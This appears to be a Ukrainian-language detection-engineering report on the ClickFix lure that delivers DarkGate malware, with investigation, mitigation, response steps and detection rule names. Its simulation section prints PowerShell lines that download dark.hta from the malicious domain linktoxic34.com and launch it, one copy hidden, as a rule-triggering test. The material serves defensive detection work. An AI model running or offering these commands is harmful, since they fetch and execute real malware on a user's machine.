Дослідження ClickFix: шкідливе програмне забезпечення DarkGate
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Звіт окреслює метод соціальної інженерії під назвою ClickFix, який спонукає користувачів копіювати та виконувати команду PowerShell, яка потім завантажує шкідливий файл HTA. Цей файл HTA, у свою чергу, завантажує додаткові компоненти, включаючи скрипт AutoIt, який створює каталоги, завантажує файли й встановлює зв’язок C2. Діяльність приписується кампанії DarkGate і базується на обфускації base64 і маніпуляціях із буфером обміну, щоб уникнути простого виявлення.
Розслідування
Аналітики розкрили кілька шарів закодованого в base64 вмісту, вбудованого в підроблену сторінку сповіщення про розширення для браузера, і відновили команду PowerShell, відповідальну за отримання dark.hta з linktoxic34.com. Після виконання HTA розгортає виконуваний файл AutoIt (fckhffh.a3x), який запускає процедуру DES і стартує подальші навантаження. На перехопленій мережевій телеметрії видно трафік HTTP(S) до шкідливого домену, за яким слідує ланцюгова команда PowerShell.
Пом’якшення
Рекомендовані заходи захисту включають тренування користувачів для уникнення копіювання невідомих фрагментів коду, вимкнення діалогу Windows Run за допомогою групової політики та розгортання поведінкових антивірусних рішень. Проактивне блокування шкідливого домену та моніторинг аномальних виконань PowerShell може значно зменшити ризик зараження DarkGate.
Реагування
Якщо виявлено подію, пов’язану з ClickFix, ізолюйте уражений кінцевий вузол, зупиніть усі шкідливі процеси, видаліть артефакти HTA і AutoIt і проведіть судову експертизу всіх папок, створених під час вторгнення. Оновіть логіку виявлення, щоб позначати підозрілі схеми виконання PowerShell і HTA, і переконайтесь, що відповідний домен заблоковано в середовищі.
Потік Атаки
Виявлення
Підозріла поведінка ухилення від захисту LOLBAS MSHTA шляхом виявлення пов’язаних команд (через process_creation)
Proof of Value
Підозрілі строки Powershell (через powershell)
Proof of Value
Файл AutoIT був виконаний з незвичайного розташування (через process_creation)
Proof of Value
Підозрілі файли в загальному профілю користувача (через file_event)
Proof of Value
Підозріле виконання з загального профілю користувача (через process_creation)
Proof of Value
Виклик підозрілих методів .NET з Powershell (через powershell)
Proof of Value
IOCs (HashSha256) для виявлення: ClickFix: DarkGate
Proof of Value
Виявлення шкідливої активності PowerShell для завантаження файлу HTA [Мережеве підключення Windows]
Proof of Value
Шкідлива активність PowerShell, що включає виконання HTA та маніпуляції з буфером обміну [Windows Powershell]
Proof of Value
Виконання симуляції
Передумова: Перевірка телеметрії та основного рівня повинна бути пройдена.
Підстава: У цьому розділі детально описується точне виконання техніки супротивника (TTP), призначене для спрацювання правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP і мають на меті генерувати точну телеметрію, очікувану логікою виявлення.
-
Наратив атаки та команди:
Атакуючий, який отримав доступ із низькими привілеями на скомпрометованій Windows-системі, бажає завантажити шкідливий HTA-навантаження, що використовується в кампанії ClickFix. Щоб залишатися ненав’язливим, атакуючий використовує PowerShell— вбудований інструмент Windows — тож зовнішні двійкові файли не вводяться. Команда виконується безпосередньо в консолі (або через заплановане завдання) і містить точну URL-адресу, яку спостерігає правило. Завантаження зберігається в каталозі користувача%TEMP%а потім виконується черезStart-Process.$url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta" $out = "$env:TEMPdark.hta" Invoke-WebRequest -Uri $url -OutFile $out Start-Process -FilePath $out -
Сценарій регресійного тестування: (самодостатній, відтворює вищезазначені кроки)
# Симуляція завантаження ClickFix HTA – спрацьовує Sigma-правило $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta" $destPath = "$env:TEMPdark.hta" try { Write-Host "[*] Завантажується шкідливе HTA payload..." Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing Write-Host "[+] Завантаження завершено. Виконую payload..." Start-Process -FilePath $destPath -WindowStyle Hidden } catch { Write-Error "Завантаження або виконання не вдалося: $_" } -
Команди очищення: (видаляє завантажений HTA і всі запущені примірники)
# Видалення файлу HTA та завершення всіх процесів, які можуть бути запущені з HTA (загальний приклад) $htaPath = "$env:TEMPdark.hta" if (Test-Path $htaPath) { Remove-Item $htaPath -Force Write-Host "[*] Файл HTA видалено." } # Знищення всіх процесів, які можуть бути запущені з HTA (загальний приклад) Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force